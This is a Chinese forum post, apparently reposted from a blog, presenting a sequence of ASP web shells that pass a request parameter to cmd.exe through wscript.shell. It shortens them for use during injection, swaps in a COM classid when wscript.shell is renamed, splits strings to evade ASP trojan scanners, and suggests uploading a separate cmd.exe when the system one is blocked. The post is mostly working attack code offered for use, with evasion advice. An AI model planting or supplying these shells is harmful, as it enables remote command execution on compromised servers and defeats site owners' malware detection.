asp执行cmd实例

上善若水

第一个，来看zzzeva免fso的cmd.asp
代码如下：

<br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request.form("cmd")).stdout.readall%> <br />
是不是觉得有点长了？在注入时写有点不好写。那来改一下。
第二个，更改zzzeva免fso的cmd.asp
代码如下：

<br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> <br /> <br /> 用法是xx.asp?cmd=net user <br /> 这样是为了得到结果排得方便，其实如果不为美观，还可以更短，那来第三个 <br /> 第三个，缩短的cmd.asp <br /> <br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> <br /> <br /> 这里用了response.write，变量用了cmd。为什么不更短呢？ <br /> 第四个，更短的cmd.asp <br /> <br /> <%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> <br /> <br /> 好像这就是最短的了。除了短，我们还要在别的地方下功夫。 <br /> 第五个，wscript.shell被改名怎么办？ <br /> 代码： <br /> <br /> <ObjEct runat=sErvEr iD=kk scOpE=pagE classiD="clsiD:72C24DD5-D70A-438B-8A42-98424B88AFB8"></ObjEct> <br /> <%=kk.exec("cmd /c "+request("cmd")).stdout.readall%> <br /> <br /> 当然，classid值在不同系统下有所不同。这个要自行更改 <br /> <br /> 第六个，被一些杀asp木马的软件检测出来怎么办？ <br /> 把变量拆开呀。代码： <br /> <br /> <%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> <br /> <br /> 或 <br /> <br /> <%=server.createobject("ws"&"cript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> <br /> <br /> 这里代码引号里的东东都可以随便拆的，像还可以拆成 <br /> <br /> <%=server.createobject("ws"&"cript.shell").exec("c"&"md.exe /c "&request("c")).stdout.readall%> <br /> <br /> 第7个,cmd.exe不让调用怎么办？ <br /> 这个你自己上传一个cmd.exe，放在一个可以调用的目录下，代码更改如下： <br /> <br /> <%=server.createobject("wscript.shell").exec("e:\aspx\cmD.EXE /c "&request("c")).stdout.readall%> <br /> 第8个,asp代码可以加密吗？ <br /> 当然可以了<br>来源：<a href="https://blog.csdn.net/woswod/article/details/63253494" target="_blank">https://blog.csdn.net/woswod/article/details/63253494</a><br>免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！</td></tr></table> </div> <div id="comment_3411" class="cm"> </div> <div id="post_rate_div_3411"></div> </div> </div> </td></tr> <tr><td class="plc plm"> </td> </tr> <tr id="_postposition3411"></tr> <tr> <td class="pls"></td> <td class="plc" style="overflow:visible;"> <div class="po hin"> <div class="pob cl"> <em> <a class="fastre" href="forum.php?mod=post&action=reply&fid=60&tid=2252&reppost=3411&extra=page%3D1&page=1" onclick="showWindow('reply', this.href)">回复</a> </em> <p> <a href="javascript:;" id="mgc_post_3411" onmouseover="showMenu(this.id)" class="showmenu">使用道具</a> <a href="javascript:;" onclick="showWindow('miscreport3411', 'misc.php?mod=report&rtype=post&rid=3411&tid=2252&fid=60', 'get', -1);return false;">举报</a> </p> <ul id="mgc_post_3411_menu" class="p_pop mgcmn" style="display: none;"> </ul> <script type="text/javascript" reload="1">checkmgcmn('post_3411')</script> </div> </div> </td> </tr> <tr class="ad"> <td class="pls"> </td> <td class="plc"> </td> </tr> </table> </div><div id="postlistreply" class="pl"><div id="post_new" class="viewthread_table" style="display: none"></div></div> </div> <form method="post" autocomplete="off" name="modactions" id="modactions"> <input type="hidden" name="formhash" value="e4d71d3f" /> <input type="hidden" name="optgroup" /> <input type="hidden" name="operation" /> <input type="hidden" name="listextra" value="page%3D1" /> <input type="hidden" name="page" value="1" /> </form> <div class="pgs mtm mbm cl"> <span class="pgb y"><a href="forum-60-1.html">返回列表</a></span> <a id="newspecialtmp" onmouseover="$('newspecial').id = 'newspecialtmp';this.id = 'newspecial';showMenu({'ctrlid':this.id})" onclick="showWindow('newthread', 'forum.php?mod=post&action=newthread&fid=60')" href="javascript:;" title="发新帖" class="pgsbtn showmenu">发新帖</a> </div> <!--[diy=diyfastposttop]--><div id="diyfastposttop" class="area"></div><!--[/diy]--> <script type="text/javascript"> var postminchars = parseInt('30'); var postmaxchars = parseInt('10000'); var postminsubjectchars = parseInt('1'); var postmaxsubjectchars = parseInt('80'); var disablepostctrl = parseInt('0'); </script> <div id="f_pst" class="pl bm bmw"> <form method="post" autocomplete="off" id="fastpostform" action="forum.php?mod=post&action=reply&fid=60&tid=2252&extra=page%3D1&replysubmit=yes&infloat=yes&handlekey=fastpost" onSubmit="return fastpostvalidate(this)"> <table cellspacing="0" cellpadding="0"> <tr> <td class="pls"> </td> <td class="plc"> <span id="fastpostreturn"></span> <div class="cl"> <div id="fastsmiliesdiv" class="y"><div id="fastsmiliesdiv_data"><div id="fastsmilies"></div></div></div><div class="hasfsl" id="fastposteditor"> <div class="tedt mtn"> <div class="bar"> <span class="y"> <a href="forum.php?mod=post&action=reply&fid=60&tid=2252" onclick="return switchAdvanceMode(this.href)">高级模式</a> </span><script src="static/js/seditor.js?I08" type="text/javascript"></script> <div class="fpd"> <a href="javascript:;" title="文字加粗" class="fbld">B</a> <a href="javascript:;" title="设置文字颜色" class="fclr" id="fastpostforecolor">Color</a> <a id="fastpostimg" href="javascript:;" title="图片" class="fmg">Image</a> <a id="fastposturl" href="javascript:;" title="添加链接" class="flnk">Link</a> <a id="fastpostquote" href="javascript:;" title="引用" class="fqt">Quote</a> <a id="fastpostcode" href="javascript:;" title="代码" class="fcd">Code</a> <a href="javascript:;" class="fsml" id="fastpostsml">Smilies</a> </div></div> <div class="area"> <div class="pt hm"> 您需要登录后才可以回帖 <a href="member.php?mod=logging&action=login" onclick="showWindow('login', this.href)" class="xi2">登录</a> | <a href="member.php?mod=registercorfly" class="xi2">会员注册</a> </div> </div> </div> </div> </div> <div id="seccheck_fastpost"> </div> <input type="hidden" name="formhash" value="e4d71d3f" /> <input type="hidden" name="usesig" value="" /> <input type="hidden" name="subject" value=" " /> <p class="ptm pnpost"> <a href="home.php?mod=spacecp&ac=credit&op=rule&fid=60" class="y" target="_blank">本版积分规则</a> <button type="button" onclick="showWindow('login', 'member.php?mod=logging&action=login&guestmessage=yes')" onmouseover="checkpostrule('seccheck_fastpost', 'ac=reply');this.onmouseover=null" name="replysubmit" id="fastpostsubmit" class="pn pnc vm" value="replysubmit"><strong>发表回复</strong></button> <label class="lb"><input type="checkbox" name="adddynamic" class="pc" value="1" />回帖并转播</label> <label for="fastpostrefresh"><input id="fastpostrefresh" type="checkbox" class="pc" />回帖后跳转到最后一页</label> <script type="text/javascript">if(getcookie('fastpostrefresh') == 1) {$('fastpostrefresh').checked=true;}</script> </p> </td> </tr> </table> </form> </div> </div> <div class="wp mtn"> <!--[diy=diy3]--><div id="diy3" class="area"></div><!--[/diy]--> </div> <script type="text/javascript"> function succeedhandle_followmod(url, msg, values) { var fObj = $('followmod_'+values['fuid']); if(values['type'] == 'add') { fObj.innerHTML = '不收听'; fObj.href = 'home.php?mod=spacecp&ac=follow&op=del&fuid='+values['fuid']; } else if(values['type'] == 'del') { fObj.innerHTML = '收听TA'; fObj.href = 'home.php?mod=spacecp&ac=follow&op=add&hash=e4d71d3f&fuid='+values['fuid']; } } fixed_avatar([3411], 1); </script> </div> <div id="ft" class="wp cl"> <div id="flk" class="y"> <p> <a href="//wpa.qq.com/msgrd?v=3&uin=516734115&site=心飞设计-网站,自媒体设计软件技术分享。新手站长乐园&menu=yes&from=discuz" target="_blank" title="QQ"><img src="static/image/common/site_qq.jpg" alt="QQ" /></a><span class="pipe">|</span><a href="forum.php?showmobile=yes" >手机版</a><span class="pipe">|</span><strong><a href="http://www.corfly.com" target="_blank">心飞设计-版权所有：微度网络信息技术服务中心</a></strong> ( <a href="https://beian.miit.gov.cn/" target="_blank">鲁ICP备17032091号-12</a> )<span class="pipe">|</span><a href="data/sitemap.xml" target="_blank" title="网站地图">网站地图</a><script type="text/javascript" src="//api.tongjiniao.com/c?_=631452074556137472" async></script></p> <p class="xs0"> GMT+8, 2024-12-27 01:33<span id="debuginfo"> , Processed in 0.577506 second(s), 25 queries . </span> </p> </div> <div id="frt"> <p>Powered by <strong><a href="https://www.discuz.vip/" target="_blank">Discuz!</a></strong> <em>X3.5</em></p> <p class="xs0">© 2001-2024 <a href="https://code.dismall.com/" target="_blank">Discuz! Team</a>.</p> </div></div> <script src="home.php?mod=misc&ac=sendmail&rand=1735234418" type="text/javascript"></script> <div id="scrolltop"> <span><a href="forum.php?mod=post&action=reply&fid=60&tid=2252&extra=page%3D1&page=1" onclick="showWindow('reply', this.href)" class="replyfast" title="快速回复"><b>快速回复</b></a></span> <span hidefocus="true"><a title="返回顶部" onclick="window.scrollTo('0','0')" class="scrolltopa" ><b>返回顶部</b></a></span> <span> <a href="forum-60-1.html" hidefocus="true" class="returnlist" title="返回列表"><b>返回列表</b></a> </span> </div> <script type="text/javascript">_attachEvent(window, 'scroll', function () { showTopLink(); });checkBlind();</script> </body> </html>